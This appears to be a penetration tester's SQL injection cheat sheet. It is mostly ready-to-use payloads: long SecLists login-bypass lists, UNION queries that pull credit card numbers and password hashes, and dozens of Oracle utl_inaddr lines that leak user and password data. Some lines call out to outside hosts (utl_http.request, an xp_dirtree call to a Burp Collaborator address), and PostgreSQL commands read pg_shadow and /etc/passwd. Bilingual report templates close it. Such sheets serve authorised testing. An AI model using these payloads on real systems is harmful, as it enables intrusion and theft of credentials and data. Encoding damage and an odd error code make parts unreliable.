- Testing for SQL Injection (WSTG-INPV-05)
- SecLists
- Exploiting hard filtered SQL injections
- SQLi filter evasion cheat sheet (MySQL)
- SQLi Mitigation
- NetSPI SQL Injection Wiki: MySQL | Oracle | SQL Server | PostgreSQL
- SQL Injection (PortSwigger Web Security Academy)
- SQL Injection cheat sheet (PortSwigger Web Security Academy)
đĄ See labs WebSecurityAcademy (PortSwigger) â SQL Injections. For specific database cheat sheets, see PostgreSQL, MSSQL, SQLite, MySQL, IBM DB2, Oracle Database.
Tools
Detection
Detect SQL injection vulnerabilities by fuzzing all inputs to generate an error :
- Parameters in URL, e.g. http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1&password=1’%20or%20’1’%20=%20’1
- Elements from the user interface, like search box, login forms, etc.
- Hidden fields
- HTTP Headers
- Cookies
Payloads to try :
'
;
"
--
/* */
AND
OR
enter a string when expecting a number
ASCII(97)
' OR 1=1--
'; waitfor delay ('0:0:20')--
exec master..xp_dirtree '//<id>.burpcollaborator.net/a'
Bypass Authentication / Login forms
Example 1
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
Username | Password |
1' or '1'='1 | 1′ or ‘1’=’1 |
administrator’ — | foo |
Example 2
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
Username | Password |
1' or '1' = '1'))/* 1' or '1' = '1')) LIMIT 1/* | foo |
Other payloads
<username>' OR 1=1--
'OR '' = ' Allows authentication without a valid username.
<username>'--
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
'OR 1=1--
# In login field
' or 1=1 --
') or 1=1 LIMIT 0,1 --
1' or '1'='1
admin' or '1 --
' union select (select group_concat(username, password) from users), 2 --
1 or (select substr(group_concat(username, password),i,1) from users) = (select char(j)) --
%bf' or 1=1 --
# In password field
' or 1=1 --
# Auth Bypass From SecLists
" or 1=1
" or 1=1#
" or 1=1--
" or 1=1/*
' or 1=1
' or 1=1#
' or 1=1--
' or 1=1/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
1234 " AND 1=0 UNION ALL SELECT "root", "81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'root', '81dc9bdb52d04dc20036dbd8313ed055
admin" #
admin" --
admin" or "1"="1
admin" or "1"="1"#
admin" or "1"="1"--
admin" or "1"="1"/*
admin" or 1=1
admin" or 1=1#
admin" or 1=1--
admin" or 1=1/*
admin") or "1"="1
admin") or "1"="1"#
admin") or "1"="1"--
admin") or "1"="1"/*
admin") or ("1"="1
admin") or ("1"="1"#
admin") or ("1"="1"--
admin") or ("1"="1"/*
admin"/*
admin"or 1=1 or ""="
admin' #
admin' --
admin' or '1'='1
admin' or '1'='1'#
admin' or '1'='1'--
admin' or '1'='1'/*
admin' or 1=1
admin' or 1=1#
admin' or 1=1--
admin' or 1=1/*
admin') or '1'='1
admin') or '1'='1'#
admin') or '1'='1'--
admin') or '1'='1'/*
admin') or ('1'='1
admin') or ('1'='1'#
admin') or ('1'='1'--
admin') or ('1'='1'/*
admin'/*
admin'or 1=1 or ''='
or 1=1
or 1=1#
or 1=1--
or 1=1/*
root" #
root" --
root" or "1"="1
root" or "1"="1"#
root" or "1"="1"--
root" or "1"="1"/*
root" or 1=1
root" or 1=1 or ""="
root" or 1=1#
root" or 1=1--
root" or 1=1/*
root") or "1"="1
root") or "1"="1"#
root") or "1"="1"--
root") or "1"="1"/*
root") or ("1"="1
root") or ("1"="1"#
root") or ("1"="1"--
root") or ("1"="1"/*
root"/*
root' #
root' --
root' or '1'='1
root' or '1'='1'#
root' or '1'='1'--
root' or '1'='1'/*
root' or 1=1
root' or 1=1#
root' or 1=1--
root' or 1=1/*
root') or '1'='1
root') or '1'='1'#
root') or '1'='1'--
root') or '1'='1'/*
root') or ('1'='1
root') or ('1'='1'#
root') or ('1'='1'--
root') or ('1'='1'/*
root'/*
root'or 1=1 or ''='
Data Extraction – UNION Technique
Find the number of columns in the query
Using the ORDER BY clause
Add the ORDER BY clause at the end of the vulnerable parameter:
1 ORDER BY 10--
Unknown column '10' in 'order clause'
Using NULL with the UNION clause
UNION technique
10 UNION SELECT 1,null,null--
1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Find which columns are displayed
1 union all select 1, 2, 3, ...
In forms
SQL Query | Parameter value |
SELECT * FROM products WHERE id_product=$id_product | 10 OR 1=1 Stacked queries 10; INSERT INTO users (âŠ) Error based (Oracle) 10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))-- ORA-292257: host SCOTT unknown |
SELECT Name, Phone, Address FROM Users WHERE Id=$id | To find the number of columns for UNION technique10 ORDER BY 10-- Unknown column '10' in 'order clause' UNION technique 10 UNION SELECT 1,null,null-- 1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable |
1; wait for delay '0:15:0'--
' or 1=1 --
Error based
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
Database Payload Examples
MySQL / MariaDB
1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --
1 or 1=1
1' or '1'='1
' UNION SELECT 1, sql FROM sqlite_master WHERE type='table' --
' UNION SELECT table_schema || '.' || table_name from information_schema.tables --
' UNION SELECT column_name from information_schema.columns where table_name='<table name>' --
Oracle
Injection can also be in PL-SQL
upd_stmt := 'update t set x=' || :val || ', etc.etc.';;
execute immediate upd_stmt;
Payload examples
' or '1'='1
' or '1'='1
' || utl_http.request('http://x.x.x.x/')||'
' || myappadmin.adduser('admin', 'newpass') || '
' || UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL) )--
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
PostgreSQL
select version();
select current_database();
select current_user;
select session_user;
select current_setting('log_connections');
select current_setting('log_statement');
select current_setting('port');
select current_setting('password_encryption');
select current_setting('krb_server_keyfile');
select current_setting('virtual_host');
select current_setting('port');
select current_setting('config_file');
select current_setting('hba_file');
select current_setting('data_directory');
select * from pg_shadow;
select * from pg_group;
create table myfile (input TEXT);
copy myfile from '/etc/passwd';
select * from myfile;copy myfile to /tmp/test;
DB2 for Unix
select versionnumber, version_timestamp from sysibm.sysversions;
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
select current server from sysibm.sysdummy1;
select name from sysibm.systables;
select grantee from syscat.dbauth;
select * from syscat.tabauth;
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select name, tbname, coltype from sysibm.syscolumns;
select schemaname FROM syscat.schemata;
Reporting
CVSS Score v3 | Variable |
CVSS Vector v3 | Variable |
English
Title | SQL injection |
Description | SQL injections happen when an application uses user-controlled input to create SQL queries without properly validating the input first. A successful SQL injection attack can read or modify sensitive data from the database, execute administration operations on the database (e.g. shutdown), and in some cases issue commands on the operating system. |
Steps to reproduce | Using Burp Suite, intercept HTTP requests. Open a web browser and go to the web application. Demonstrate the vulnerability and include screenshot |
Remediation | It is recommended to |
French
Title | Injection SQL (SQLi) |
Description | Les injections SQL surviennent lorsqu’une application utilise des entrĂ©es modifiables par l’utilisateur pour crĂ©er des requĂȘtes SQL sans d’abord valider les entrĂ©es correctement. Une injection SQL rĂ©ussie peut lire ou modifier de l’information sensible dans la base de donnĂ©es, exĂ©cuter des opĂ©rations administratives sur la base de donnĂ©es (ex. la fermer) et mĂȘme dans certains cas effectuer des commandes sur le serveur. |
Steps to reproduce | Intercepter les requĂȘtes Ă l’aide de l’outil Burp Suite. Ouvrir un navigateur web et aller Ă l’application. Demonstrate the vulnerability and include screenshot |
Remediation | Il est recommandĂ© de bien valider chaque paramĂštre qui sert Ă construire les requĂȘtes SQL. La difficultĂ© de correction est Ă©valuĂ©e Ă “Moyenne”. |